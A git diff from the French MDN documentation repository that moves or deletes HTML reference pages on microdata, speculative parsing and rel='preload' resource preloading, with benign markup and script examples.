Dans certains cas, les moteurs de recherche couvrent un public régional. Certaines extensions sont donc ajoutées aux microdonnées pour fournir du contenu spécifique. Ainsi, Yandex qui est un moteur de recherche très présent en Russie supporte des microformats comme hCard, hRecipe, hReview et hProduct et fournit son propre format pour dédfinir les termes et les articles encyclopédiques. Cette extension a été construite afin de résoudre les problème de translitération entre les alphabets cyrillique et latin.

+ +

Attributs globaux liés aux microdonnées

+ +

Certains attributs globaux concernent directement les microdonnées :

+ +
+
itemid
+
Cet attribut est l'identifiant unique d'un objet.
+
itemprop
+
Cet attribut est utilisé afin d'ajouter des propriétés à un élément.
+
itemref
+
Cet attribut permet de faire référence à d'autres éléments HTML décrivant le même objet.
+
itemscope
+
Cet attribut définit la portée du vocabulaire déclaré par itemtype et englobe généralement un objet.
+
itemtype
+
Cet attribut définit le vocabulaire qui spécifie le modèle de données utilisé pour décrire les objets.
+
+ +

Exemple

+ +

HTML

+ +
<div itemscope itemtype="https://schema.org/SoftwareApplication">
+  <span itemprop="name">Angry Birds</span> -
+
+  REQUIRES <span itemprop="operatingSystem">ANDROID</span><br>
+  <link itemprop="applicationCategory" href="https://schema.org/GameApplication"/>
+
+  <div itemprop="aggregateRating" itemscope itemtype="https://schema.org/AggregateRating">
+    RATING:
+    <span itemprop="ratingValue">4.6</span> (
+    <span itemprop="ratingCount">8864</span> ratings )
+  </div>
+
+  <div itemprop="offers" itemscope itemtype="https://schema.org/Offer">
+    Price: $<span itemprop="price">1.00</span>
+    <meta itemprop="priceCurrency" content="USD" />
+  </div>
+</div>
+ +

Structure de donnée

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
itemscopeitemtypeSoftwareApplication (https://schema.org/SoftwareApplication)
itempropnameAngry Birds
itempropoperatingSystemANDROID
itempropapplicationCategoryGameApplication (https://schema.org/GameApplication)
itemscopeitemprop[itemtype]aggregateRating [AggregateRating]
itempropratingValue4.6
itempropratingCount8864
itemscopeitemprop[itemtype]offers [Offer]
itempropprice1.00
itemproppriceCurrencyUSD
+ +

Compatibilité des navigateurs

+ +

Fonctionnalité ajoutée dans Firefox 16 et retirée dans Firefox 49.

+ +

Voir aussi

+ + diff --git "a/files/fr/web/html/microdonn\303\251es/index.html" "b/files/fr/web/html/microdonn\303\251es/index.html" deleted file mode 100644 index 66230edd72..0000000000 --- "a/files/fr/web/html/microdonn\303\251es/index.html" +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: Microdonnées -slug: Web/HTML/Microdonnées -tags: - - HTML - - Microdata - - Microdonnées -translation_of: Web/HTML/Microdata ---- -
{{QuickLinksWithSubpages("/en-US/docs/Web/HTML")}}
- -

Les microdonnées (microdata) sont une partie de la spécification HTML du WHATWG qui est utilisée afin de fournir des métadonnées sur le contenu des pages web. Les moteurs de recherche, les robots (crawlers) d'analyse peuvent traiter les microdonnées d'une page web pour améliorer l'expérience de navigation. Les moteurs de recherches peuvent tirer parti des informations pour obtenir une meilleure pertinence. Les microdonnées sont structurées grâce à un vocabulaire permettant de décrire des objets qui sont des groupes de paires de noms/valeurs. Le but des microdonnées est de faciliter l'annotation des éléments HTML et d'être plus simple à utiliser que RDFa ou les microformats.

- -

Les microdonnées sont des groupes de paires nom-valeur. Ces groupes sont appelés des objets (items) et chaque paire nom-valeur est une propriété. Les objets et les propriétés s'inscrivent dans des éléments HTML classiques :

- -
    -
  • Pour créer un objet, on utilise l'attribut itemscope
    • -
  • Pour ajouter une propriété, on utilise l'attribut itemprop sur l'un des descendants.
    • -
- -

Vocabulaires

- -

Google et les autres moteurs de recherches participent au vocabulaire défini par schema.org pour structurer les données. Ce vocabulaire définit un ensemble standard de types et de noms de propriétés. Par exemple MusicEvent indique un événement musical dont les propriétés startDate et location utilisées pour définir les détails du concert. Dans ce cas, l'URL https://schema.org/MusicEvent sera l'URL utilisée pour l'attribut itemtype et les propriétés startDate et location seront les propriétés utilisées, définies par https://schema.org/MusicEvent.

- -

Les vocabulaires de microdonnées fournissent la sémantique (c'est-à-dire la signification) d'un élément. Les développeurs et auteurs web peuvent construire des vocabulaires spécifiques ou réutiliser ceux disponibles sur le Web comme schema.org.

- -

Plusieurs moteurs de recherche (Google, Bing et Yahoo!) s'appuient sur schema.org pour améliorer les résultats de recherche.

- -

Localisation

- -

Dans certains cas, les moteurs de recherche couvrent un public régional. Certaines extensions sont donc ajoutées aux microdonnées pour fournir du contenu spécifique. Ainsi, Yandex qui est un moteur de recherche très présent en Russie supporte des microformats comme hCard, hRecipe, hReview et hProduct et fournit son propre format pour dédfinir les termes et les articles encyclopédiques. Cette extension a été construite afin de résoudre les problème de translitération entre les alphabets cyrillique et latin.

- -

Attributs globaux liés aux microdonnées

- -

Certains attributs globaux concernent directement les microdonnées :

- -
-
itemid
-
Cet attribut est l'identifiant unique d'un objet.
-
itemprop
-
Cet attribut est utilisé afin d'ajouter des propriétés à un élément.
-
itemref
-
Cet attribut permet de faire référence à d'autres éléments HTML décrivant le même objet.
-
itemscope
-
Cet attribut définit la portée du vocabulaire déclaré par itemtype et englobe généralement un objet.
-
itemtype
-
Cet attribut définit le vocabulaire qui spécifie le modèle de données utilisé pour décrire les objets.
-
- -

Exemple

- -

HTML

- -
<div itemscope itemtype="https://schema.org/SoftwareApplication">
-  <span itemprop="name">Angry Birds</span> -
-
-  REQUIRES <span itemprop="operatingSystem">ANDROID</span><br>
-  <link itemprop="applicationCategory" href="https://schema.org/GameApplication"/>
-
-  <div itemprop="aggregateRating" itemscope itemtype="https://schema.org/AggregateRating">
-    RATING:
-    <span itemprop="ratingValue">4.6</span> (
-    <span itemprop="ratingCount">8864</span> ratings )
-  </div>
-
-  <div itemprop="offers" itemscope itemtype="https://schema.org/Offer">
-    Price: $<span itemprop="price">1.00</span>
-    <meta itemprop="priceCurrency" content="USD" />
-  </div>
-</div>
- -

Structure de donnée

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
itemscopeitemtypeSoftwareApplication (https://schema.org/SoftwareApplication)
itempropnameAngry Birds
itempropoperatingSystemANDROID
itempropapplicationCategoryGameApplication (https://schema.org/GameApplication)
itemscopeitemprop[itemtype]aggregateRating [AggregateRating]
itempropratingValue4.6
itempropratingCount8864
itemscopeitemprop[itemtype]offers [Offer]
itempropprice1.00
itemproppriceCurrencyUSD
- -

Compatibilité des navigateurs

- -

Fonctionnalité ajoutée dans Firefox 16 et retirée dans Firefox 49.

- -

Voir aussi

- - diff --git a/files/fr/web/html/optimizing_your_pages_for_speculative_parsing/index.html b/files/fr/web/html/optimizing_your_pages_for_speculative_parsing/index.html deleted file mode 100644 index 15342d7577..0000000000 --- a/files/fr/web/html/optimizing_your_pages_for_speculative_parsing/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Optimisation des pages pour l'analyse spéculative -slug: Web/HTML/Optimizing_your_pages_for_speculative_parsing -tags: - - Avancé - - Cookies - - Développement Web - - HTML - - HTML5 - - NeedsUpdate -translation_of: Glossary/speculative_parsing ---- -

Traditionnellement dans les navigateurs, l'analyseur HTML a été exécuté sur le fil principal et a été bloqué après une balise </script> jusqu'à ce que le script ait été extrait du réseau et exécuté. L'analyseur HTML dans Firefox 4 et versions ultérieures prend en charge l'analyse spéculative sur le fil principal. Il analyse "en avant" pendant que les scripts sont téléchargés et exécutés. Comme dans Firefox 3.5 et 3.6, l'analyseur HTML lance des chargements spéculatifs pour les scripts, les feuilles de style et les images qu'il trouve à l'avance dans le flux. Toutefois, dans Firefox 4 et versions ultérieures, l'analyseur HTML exécute également l'algorithme de construction de l'arborescence HTML de manière spéculative. L'avantage est que lorsqu'une spéculation réussit, il n'est pas nécessaire d'analyser la partie du fichier entrant qui a déjà été analysée pour les scripts, les feuilles de style et les images. L'inconvénient est qu'il y a plus de travail perdu quand la spéculation échoue.
-
- Ce document vous aide à éviter le genre de choses qui font échouer la spéculation et ralentir le chargement de votre page.

- -

Réussir les chargements spéculatifs

- -

Il n'y a qu'une seule règle pour réussir les chargements spéculatifs de scripts liés, de feuilles de style et d'images :

- -
    -
  • Si vous utilisez un élément <base> pour remplacer l'URI de base de votre page, placez l'élément dans la partie non-scriptée du document. Ne l'ajoutez pas par document.write() ou document.createElement().
    • -
- -

Éviter de perdre la sortie du constructeur d'arborescence

- -

L'analyse spéculative du constructeur d'arborescence échoue quand document.write() change l'état du constructeur d'arborescence, au point que l'état spéculatif après la balise </script> ne tient plus lorsque tout le contenu inséré par document.write() a été analysé. Cependant, seules les utilisations inhabituelles de document.write() entraînent ce genre de problèmes. Ici, les choses à éviter :

- -
    -
  • n'écrivez pas d'arborescences déséquilibrées. <script>document.write("<div>");</script> est mauvais. <script>document.write("<div></div>");</script> est valide.
    • -
  • n'écrivez pas de balisage infini. <script>document.write("<div></div");</script> est mauvais.
    • -
  • ne terminez pas votre écriture avec un retour chariot . <script>document.write("Hello World!\r");</script> est mauvais. <script>document.write("Hello World!\n");</script> est valide.
    • -
  • notez que l'écriture de balises équilibrées peut entraîner la déduction d'autres balises de telle manière que l'écriture est finalement déséquilibrée. Par exemple, <script>document.write("<div></div>");</script> à l'intérieur de l'élément d'en-tête sera interprété comme <script>document.write("</head><body><div></div>");</script> qui est déséquilibré.
    • -
  • ne pas formater une partie de tableau. <table><script>document.write("<tr><td>Hello World!</td></tr>");</script></table> est mauvais. Par contre, <script>document.write("<table><tr><td>Hello World!</td></tr></table>");</script> est valide.
    • -
  • À FAIRE : document.write inclus dans d'autres éléments de formatage.
    • -
diff --git a/files/fr/web/html/preloading_content/index.html b/files/fr/web/html/preloading_content/index.html new file mode 100644 index 0000000000..2519577b6c --- /dev/null +++ b/files/fr/web/html/preloading_content/index.html @@ -0,0 +1,237 @@ +--- +title: Précharger du contenu avec rel="preload" +slug: Web/HTML/Précharger_du_contenu +tags: + - Guide + - HTML + - JavaScript + - Performance + - preload +translation_of: Web/HTML/Preloading_content +--- +
{{QuickLinksWithSubpages("/fr/docs/Web/HTML")}}
+ +

La valeur preload de l'attribut {{htmlattrxref("rel", "link")}} pour l'élément {{htmlelement("link")}} permet d'écrire des requêtes déclaratives de récupération au sein de l'élément {{htmlelement("head")}}. On peut ainsi indiquer les ressources dont la page aura besoin peu après son chargement. Cela permet de les précharger au début du chargement de la page, avant que le rendu intervienne. On s'assure donc que les ressources nécessaires soient disponibles plus tôt, évitant ainsi de bloquer le rendu initial de la page et améliorant les performances. Dans cet article, on voit comment utiliser preload.

+ +

Les bases

+ +

On utilise généralement l'élément <link> de façon assez simple afin de charger une feuille de style CSS pour la page :

+ +
<link rel="stylesheet" href="styles/main.css">
+ +

Dans le cas qui va nous intéresser, on utilisera l'attribut rel avec la valeur preload. Cela va permettre d'utiliser l'élément <link> pour précharger à peu près n'importe quelle ressource dont on aurait besoin. Dans la version la plus simple, il suffit d'indiquer le chemin de la ressource à précharger via l'attribut {{htmlattrxref("href", "link")}} et le type de la ressource via l'attribut {{htmlattrxref("as", "link")}}.

+ +

Voici un exemple d'application simple (vous pouvez consulter le code source de cet exemple JS et CSS et visualiser la démo live) :

+ +
<head>
+  <meta charset="utf-8">
+  <title>Exemple de preload avec JS et CSS</title>
+
+  <link rel="preload" href="style.css" as="style">
+  <link rel="preload" href="main.js" as="script">
+
+  <link rel="stylesheet" href="style.css">
+</head>
+
+<body>
+  <h1>Balles rebondissantes</h1>
+  <canvas></canvas>
+
+  <script src="main.js"></script>
+</body>
+ +

Dans cet exemple, on précharge les fichiers CSS et JavaScript afin qu'ils soient disponibles dès qu'ils sont nécessaires pour le rendu de la page. Cet exemple est un peu trivial, mais on peut voir que, plus les ressources sont identifiées tard, plus elles sont grandes. Par exemple, une feuille de style pourra à son tour pointer vers d'autres ressources comme des polices ou des images. On pourrait aussi avoir de grandes images ou des vidéos à afficher plus bas dans la page.

+ +

preload possède d'autres avantages. On pourra utiliser l'attribut as afin d'indiquer le type de contenu à précharger afin que le navigateur puisse :

+ +
    +
  • Prioriser le chargement des ressources plus précisément.
    • +
  • Identifier les requêtes utilisées ensuite afin de réutiliser la même ressource si c'est possible.
    • +
  • Appliquer la bonne politique de sécurité du contenu pour la ressource en question
    • +
  • Utiliser le bon {{HTTPHeader("Accept")}} pour les requêtes associées.
    • +
+ +

Quels sont les types de contenu qu'on peut précharger ?

+ +

Il est possible de précharger de nombreux types de contenu, voici les valeurs principales qu'on peut utiliser avec l'attribut as :

+ +
    +
  • audio : un fichier audio.
    • +
  • document : un document HTML destiné à être intégré dans un élément {{htmlelement("frame")}} ou dans un élément {{htmlelement("iframe")}}.
    • +
  • embed : une ressource destinée à être intégrée dans un élément {{htmlelement("embed")}}.
    • +
  • fetch : une ressource à laquelle on accèdera via une requête fetch ou via une requête XHR (par exemple un ArrayBuffer ou un fichier JSON).
    • +
  • font : un fichier de police de caractère.
    • +
  • image : un fichier contenant une image .
    • +
  • object : une ressource à intégrer dans un élément {{htmlelement("embed")}}.
    • +
  • script : un fichier JavaScript.
    • +
  • style : une feuille de style.
    • +
  • track : un fichier WebVTT.
    • +
  • worker : un web worker ou un worker partagé JavaScript.
    • +
  • video : un fichier vidéo.
    • +
+ +
+

Note : Pour avoir plus de détails quant à ces valeurs et aux fonctionnalités web associées, vous pouvez consulter la spécification Preload et notamment les extensions à l'élément <link>. On notera également que la liste complète des valeurs acceptables pour l'attribut as est définie dans la spécification Fetch (cf. les destinations de requête).

+
+ +

Ajouter un type MIME

+ +

Les éléments <link> permettent d'utiliser un attribut {{htmlattrxref("type", "link")}} qui contient le type MIME de la ressource vers laquelle pointe l'élément. Cet attribut est particulièrement utile pour le préchargement : le navigateur pourra analyser l'attribut type afin de déterminer s'il prend en charge ce type de ressource. Le téléchargement ne démarrera que si c'est le cas, sinon, l'élément sera ignoré.

+ +

Vous pouvez voir un exemple de ce fonctionnement avec une vidéo (voir le code source complet et la version live) :

+ +
<head>
+  <meta charset="utf-8">
+  <title>Exemple de préchargement d'une vidéo</title>
+
+  <link rel="preload" href="sintel-short.mp4" as="video" type="video/mp4">
+</head>
+<body>
+  <video controls>
+    <source src="sintel-short.mp4" type="video/mp4">
+    <source src="sintel-short.webm" type="video/webm">
+    <p>Votre navigateur ne prend pas en charge les vidéos HTML5.
+       Voici <a href="sintel-short.mp4">un lien pour télécharger la vidéo</a>.</p>
+  </video>
+</body>
+ +

Dans cet exemple, les navigateurs qui prennent en charge le format MP4 préchargeront le fichier en question et l'utiliseront. En revanche, les navigateurs qui ne supportent que WebM pourront bien utiliser le second fichier mais celui-ci ne sera préchargé. Cet exemple illustre comment ajouter le préchargement dans une stratégie d'amélioration progressive.

+ +

Récupérer des ressources de différentes origines

+ +

Si le paramétrage CORS de votre site fonctionne correctement, vous pouvez également précharger des ressources provenant d'origines multiples tant que l'attribut {{htmlattrxref("crossorigin","link")}} est utilisé dans l'élément <link>.

+ +

Les fichiers pour les polices de caractères constituent un cas intéressant. En effet, pour différentes raisons, elles doivent être récupérées via un mode CORS anonyme (cf. les spécifications pour la récupération des polices si vous êtes intéressé par les détails).

+ +

Utilisons ce cas de figure comme exemple. Tout d'abord parce que le chargement des polices est un scénario fréquent et ensuite parce que c'est plus simple que de mettre en place un exemple avec des requêtes vers plusieurs origines. Vous pouvez consulter le code source complet de l'exemple sur GitHub (et voir le résultat live ici) :

+ +
<head>
+  <meta charset="utf-8">
+  <title>Exemple de préchargement pour les polices</title>
+
+  <link rel="preload" href="fonts/cicle_fina-webfont.eot" as="font" type="application/vnd.ms-fontobject" crossorigin="anonymous">
+  <link rel="preload" href="fonts/cicle_fina-webfont.woff2" as="font" type="font/woff2" crossorigin="anonymous">
+  <link rel="preload" href="fonts/cicle_fina-webfont.woff" as="font" type="font/woff" crossorigin="anonymous">
+  <link rel="preload" href="fonts/cicle_fina-webfont.ttf" as="font" type="font/ttf" crossorigin="anonymous">
+  <link rel="preload" href="fonts/cicle_fina-webfont.svg" as="font" type="image/svg+xml" crossorigin="anonymous">
+
+  <link rel="preload" href="fonts/zantroke-webfont.eot" as="font" type="application/vnd.ms-fontobject" crossorigin="anonymous">
+  <link rel="preload" href="fonts/zantroke-webfont.woff2" as="font" type="font/woff2" crossorigin="anonymous">
+  <link rel="preload" href="fonts/zantroke-webfont.woff" as="font" type="font/woff" crossorigin="anonymous">
+  <link rel="preload" href="fonts/zantroke-webfont.ttf" as="font" type="font/ttf" crossorigin="anonymous">
+  <link rel="preload" href="fonts/zantroke-webfont.svg" as="font" type="image/svg+xml" crossorigin="anonymous">
+
+  <link href="style.css" rel="stylesheet" type="text/css">
+</head>
+<body>
+  ...
+</body>
+ +

Vous pouvez ici voir qu'on fournit l'indication sur le type de ressource via l'attribut as, le type MIME grâce à l'attribut type mais aussi et surtout l'attribut crossorigin qui permet de gérer le CORS.

+ +

Il y a donc moins de risque que la police soit disponible après le premier rendu de la page, on évite ainsi les problèmes de scintillement de police (ou FOUT pour Flash Of Unstyled Text).

+ +

Gérer les différents médias

+ +

Une qualité des éléments <link> est qu'ils gèrent l'attribut {{htmlattrxref("media", "link")}}. Ce dernier peut être utilisé afin de conditionner le chargement de la ressource selon le type de média voire selon des requêtes de média (media queries). En bref, il est possible de faire du chargement de ressources qui soit responsive !

+ +

Prenons un exemple simple (le code source est disponible sur GitHub, avec une démonstration live) :

+ +
<head>
+  <meta charset="utf-8">
+  <title>Exemple de préchargement responsive</title>
+
+  <link rel="preload" href="bg-image-narrow.png" as="image" media="(max-width: 600px)">
+  <link rel="preload" href="bg-image-wide.png" as="image" media="(min-width: 601px)">
+
+  <link rel="stylesheet" href="main.css">
+</head>
+<body>
+  <header>
+    <h1>Mon site</h1>
+  </header>
+
+  <script>
+    var mediaQueryList = window.matchMedia("(max-width: 600px)");
+    var header = document.querySelector('header');
+
+    if(mediaQueryList.matches) {
+      header.style.backgroundImage = 'url(bg-image-narrow.png)';
+    } else {
+      header.style.backgroundImage = 'url(bg-image-wide.png)';
+    }
+  </script>
+</body>
+ +

Vous pouvez ici voir qu'on a ajouté les attributs media sur les éléments <link> afin de charger une image étroite si l'utilisateur utilise un écran étroit ou une image plus large si l'écran de l'appareil est plus large. Il est toutefois nécessaire d'afficher la bonne image en en-tête selon le résultat de la requête média et on utilise donc {{domxref("Window.matchMedia")}} / {{domxref("MediaQueryList")}} (lire Tester les requêtes média pour plus d'informations sur ce point).

+ +

Ce concept n'est pas limité aux images voire aux fichiers du même type ! Laissez libre cours à votre imagination ! On peut imaginer charger un diagramme SVG relativement simple si l'utilisateur est sur un écran étroit (où la bande passante et le processeur sont souvent plus limités) ou précharger un code JavaScript complexe, utilisé pour afficher un modèle 3D complexe lorsque l'appareil de l'utilisateur possède plus de ressources.

+ +

Utiliser des scripts et des préchargements différés

+ +

Un autre avantage de ce mécanisme est qu'on peut choisir d'exécuter des préchargements par script si besoin. Dans le fragment de code suivant, on crée une instance de {{domxref("HTMLLinkElement")}} qu'on attache au DOM :

+ +
var preloadLink = document.createElement("link");
+preloadLink.href = "myscript.js";
+preloadLink.rel = "preload";
+preloadLink.as = "script";
+document.head.appendChild(preloadLink);
+
+ +

Cela signifie que le navigateur préchargera le fichier JavaScript sans pour autant l'utiliser immédiatement.

+ +

Pour utiliser le script en question, quand on en a besoin, on pourrait écrire :

+ +
var preloadedScript = document.createElement("script");
+preloadedScript.src = "myscript.js";
+document.body.appendChild(preloadedScript);
+
+ +

Cela permet de précharger un script et de différer son exécution jusqu'au moment où on en a besoin.

+ +

Les autres mécanismes de préchargement

+ +

Il existe d'autres fonctionnalités qui permettent de précharger des ressources mais aucune n'est aussi flexible que <link rel="preload"> :

+ +
    +
  • <link rel="prefetch"> est pris en charge par les navigateurs depuis longtemps mais sert pour précharger des ressources qui seront utilisées sur la prochaine page vers laquelle on navigue. Autrement dit, c'est utile mais pas pour la page courante ! De plus, les navigateurs choisiront une priorité moins élevée pour les ressources prefetch que pour celles utilisant preload (la page actuelle est considérée comme plus importante que la suivante). Pour plus de détails, lire la FAQ sur le préchargement des liens.
    • +
  • <link rel="prerender"> est utilisé afin d'afficher la page indiquée en arrière-plan, accélérant le chargement de la page si l'utilisateur navigue vers cette page. Pouvant entraîner une consommation de bande passante plus importante, Chrome considère prerender comme un préchargement NoState.
    • +
  • <link rel="subresource">{{non-standard_inline}} était pris en charge par Chrome par le passé et devait permettre de précharger les ressources pour le chargement et la navigation dans la page mais il n'existait de moyen de priorisation (l'attribut as n'existait pas) et l'ensemble des ressources recevait donc une priorité assez basse.
    • +
  • De nombreux utilitaires de chargement scriptés existent par ailleurs mais ils ne disposent pas du contexte de priorisation disponible dans le navigateur et, en tant que ressources, peuvent participer à ces problèmes de performances de chargement.
    • +
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Preload','#x2.link-type-preload','preload')}}{{Spec2('Preload')}}Détails complémentaires sur preload.
{{SpecName('HTML WHATWG', 'link-type-preload', 'rel=preload')}}{{Spec2('HTML WHATWG')}}Définition simple de preload.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.elements.link.rel.preload")}}

+ +

Voir aussi

+ + diff --git "a/files/fr/web/html/pr\303\251charger_du_contenu/index.html" "b/files/fr/web/html/pr\303\251charger_du_contenu/index.html" deleted file mode 100644 index 2519577b6c..0000000000 --- "a/files/fr/web/html/pr\303\251charger_du_contenu/index.html" +++ /dev/null @@ -1,237 +0,0 @@ ---- -title: Précharger du contenu avec rel="preload" -slug: Web/HTML/Précharger_du_contenu -tags: - - Guide - - HTML - - JavaScript - - Performance - - preload -translation_of: Web/HTML/Preloading_content ---- -
{{QuickLinksWithSubpages("/fr/docs/Web/HTML")}}
- -

La valeur preload de l'attribut {{htmlattrxref("rel", "link")}} pour l'élément {{htmlelement("link")}} permet d'écrire des requêtes déclaratives de récupération au sein de l'élément {{htmlelement("head")}}. On peut ainsi indiquer les ressources dont la page aura besoin peu après son chargement. Cela permet de les précharger au début du chargement de la page, avant que le rendu intervienne. On s'assure donc que les ressources nécessaires soient disponibles plus tôt, évitant ainsi de bloquer le rendu initial de la page et améliorant les performances. Dans cet article, on voit comment utiliser preload.

- -

Les bases

- -

On utilise généralement l'élément <link> de façon assez simple afin de charger une feuille de style CSS pour la page :

- -
<link rel="stylesheet" href="styles/main.css">
- -

Dans le cas qui va nous intéresser, on utilisera l'attribut rel avec la valeur preload. Cela va permettre d'utiliser l'élément <link> pour précharger à peu près n'importe quelle ressource dont on aurait besoin. Dans la version la plus simple, il suffit d'indiquer le chemin de la ressource à précharger via l'attribut {{htmlattrxref("href", "link")}} et le type de la ressource via l'attribut {{htmlattrxref("as", "link")}}.

- -

Voici un exemple d'application simple (vous pouvez consulter le code source de cet exemple JS et CSS et visualiser la démo live) :

- -
<head>
-  <meta charset="utf-8">
-  <title>Exemple de preload avec JS et CSS</title>
-
-  <link rel="preload" href="style.css" as="style">
-  <link rel="preload" href="main.js" as="script">
-
-  <link rel="stylesheet" href="style.css">
-</head>
-
-<body>
-  <h1>Balles rebondissantes</h1>
-  <canvas></canvas>
-
-  <script src="main.js"></script>
-</body>
- -

Dans cet exemple, on précharge les fichiers CSS et JavaScript afin qu'ils soient disponibles dès qu'ils sont nécessaires pour le rendu de la page. Cet exemple est un peu trivial, mais on peut voir que, plus les ressources sont identifiées tard, plus elles sont grandes. Par exemple, une feuille de style pourra à son tour pointer vers d'autres ressources comme des polices ou des images. On pourrait aussi avoir de grandes images ou des vidéos à afficher plus bas dans la page.

- -

preload possède d'autres avantages. On pourra utiliser l'attribut as afin d'indiquer le type de contenu à précharger afin que le navigateur puisse :

- -
    -
  • Prioriser le chargement des ressources plus précisément.
    • -
  • Identifier les requêtes utilisées ensuite afin de réutiliser la même ressource si c'est possible.
    • -
  • Appliquer la bonne politique de sécurité du contenu pour la ressource en question
    • -
  • Utiliser le bon {{HTTPHeader("Accept")}} pour les requêtes associées.
    • -
- -

Quels sont les types de contenu qu'on peut précharger ?

- -

Il est possible de précharger de nombreux types de contenu, voici les valeurs principales qu'on peut utiliser avec l'attribut as :

- -
    -
  • audio : un fichier audio.
    • -
  • document : un document HTML destiné à être intégré dans un élément {{htmlelement("frame")}} ou dans un élément {{htmlelement("iframe")}}.
    • -
  • embed : une ressource destinée à être intégrée dans un élément {{htmlelement("embed")}}.
    • -
  • fetch : une ressource à laquelle on accèdera via une requête fetch ou via une requête XHR (par exemple un ArrayBuffer ou un fichier JSON).
    • -
  • font : un fichier de police de caractère.
    • -
  • image : un fichier contenant une image .
    • -
  • object : une ressource à intégrer dans un élément {{htmlelement("embed")}}.
    • -
  • script : un fichier JavaScript.
    • -
  • style : une feuille de style.
    • -
  • track : un fichier WebVTT.
    • -
  • worker : un web worker ou un worker partagé JavaScript.
    • -
  • video : un fichier vidéo.
    • -
- -
-

Note : Pour avoir plus de détails quant à ces valeurs et aux fonctionnalités web associées, vous pouvez consulter la spécification Preload et notamment les extensions à l'élément <link>. On notera également que la liste complète des valeurs acceptables pour l'attribut as est définie dans la spécification Fetch (cf. les destinations de requête).

-
- -

Ajouter un type MIME

- -

Les éléments <link> permettent d'utiliser un attribut {{htmlattrxref("type", "link")}} qui contient le type MIME de la ressource vers laquelle pointe l'élément. Cet attribut est particulièrement utile pour le préchargement : le navigateur pourra analyser l'attribut type afin de déterminer s'il prend en charge ce type de ressource. Le téléchargement ne démarrera que si c'est le cas, sinon, l'élément sera ignoré.

- -

Vous pouvez voir un exemple de ce fonctionnement avec une vidéo (voir le code source complet et la version live) :

- -
<head>
-  <meta charset="utf-8">
-  <title>Exemple de préchargement d'une vidéo</title>
-
-  <link rel="preload" href="sintel-short.mp4" as="video" type="video/mp4">
-</head>
-<body>
-  <video controls>
-    <source src="sintel-short.mp4" type="video/mp4">
-    <source src="sintel-short.webm" type="video/webm">
-    <p>Votre navigateur ne prend pas en charge les vidéos HTML5.
-       Voici <a href="sintel-short.mp4">un lien pour télécharger la vidéo</a>.</p>
-  </video>
-</body>
- -

Dans cet exemple, les navigateurs qui prennent en charge le format MP4 préchargeront le fichier en question et l'utiliseront. En revanche, les navigateurs qui ne supportent que WebM pourront bien utiliser le second fichier mais celui-ci ne sera préchargé. Cet exemple illustre comment ajouter le préchargement dans une stratégie d'amélioration progressive.

- -

Récupérer des ressources de différentes origines

- -

Si le paramétrage CORS de votre site fonctionne correctement, vous pouvez également précharger des ressources provenant d'origines multiples tant que l'attribut {{htmlattrxref("crossorigin","link")}} est utilisé dans l'élément <link>.

- -

Les fichiers pour les polices de caractères constituent un cas intéressant. En effet, pour différentes raisons, elles doivent être récupérées via un mode CORS anonyme (cf. les spécifications pour la récupération des polices si vous êtes intéressé par les détails).

- -

Utilisons ce cas de figure comme exemple. Tout d'abord parce que le chargement des polices est un scénario fréquent et ensuite parce que c'est plus simple que de mettre en place un exemple avec des requêtes vers plusieurs origines. Vous pouvez consulter le code source complet de l'exemple sur GitHub (et voir le résultat live ici) :

- -
<head>
-  <meta charset="utf-8">
-  <title>Exemple de préchargement pour les polices</title>
-
-  <link rel="preload" href="fonts/cicle_fina-webfont.eot" as="font" type="application/vnd.ms-fontobject" crossorigin="anonymous">
-  <link rel="preload" href="fonts/cicle_fina-webfont.woff2" as="font" type="font/woff2" crossorigin="anonymous">
-  <link rel="preload" href="fonts/cicle_fina-webfont.woff" as="font" type="font/woff" crossorigin="anonymous">
-  <link rel="preload" href="fonts/cicle_fina-webfont.ttf" as="font" type="font/ttf" crossorigin="anonymous">
-  <link rel="preload" href="fonts/cicle_fina-webfont.svg" as="font" type="image/svg+xml" crossorigin="anonymous">
-
-  <link rel="preload" href="fonts/zantroke-webfont.eot" as="font" type="application/vnd.ms-fontobject" crossorigin="anonymous">
-  <link rel="preload" href="fonts/zantroke-webfont.woff2" as="font" type="font/woff2" crossorigin="anonymous">
-  <link rel="preload" href="fonts/zantroke-webfont.woff" as="font" type="font/woff" crossorigin="anonymous">
-  <link rel="preload" href="fonts/zantroke-webfont.ttf" as="font" type="font/ttf" crossorigin="anonymous">
-  <link rel="preload" href="fonts/zantroke-webfont.svg" as="font" type="image/svg+xml" crossorigin="anonymous">
-
-  <link href="style.css" rel="stylesheet" type="text/css">
-</head>
-<body>
-  ...
-</body>
- -

Vous pouvez ici voir qu'on fournit l'indication sur le type de ressource via l'attribut as, le type MIME grâce à l'attribut type mais aussi et surtout l'attribut crossorigin qui permet de gérer le CORS.

- -

Il y a donc moins de risque que la police soit disponible après le premier rendu de la page, on évite ainsi les problèmes de scintillement de police (ou FOUT pour Flash Of Unstyled Text).

- -

Gérer les différents médias

- -

Une qualité des éléments <link> est qu'ils gèrent l'attribut {{htmlattrxref("media", "link")}}. Ce dernier peut être utilisé afin de conditionner le chargement de la ressource selon le type de média voire selon des requêtes de média (media queries). En bref, il est possible de faire du chargement de ressources qui soit responsive !

- -

Prenons un exemple simple (le code source est disponible sur GitHub, avec une démonstration live) :

- -
<head>
-  <meta charset="utf-8">
-  <title>Exemple de préchargement responsive</title>
-
-  <link rel="preload" href="bg-image-narrow.png" as="image" media="(max-width: 600px)">
-  <link rel="preload" href="bg-image-wide.png" as="image" media="(min-width: 601px)">
-
-  <link rel="stylesheet" href="main.css">
-</head>
-<body>
-  <header>
-    <h1>Mon site</h1>
-  </header>
-
-  <script>
-    var mediaQueryList = window.matchMedia("(max-width: 600px)");
-    var header = document.querySelector('header');
-
-    if(mediaQueryList.matches) {
-      header.style.backgroundImage = 'url(bg-image-narrow.png)';
-    } else {
-      header.style.backgroundImage = 'url(bg-image-wide.png)';
-    }
-  </script>
-</body>
- -

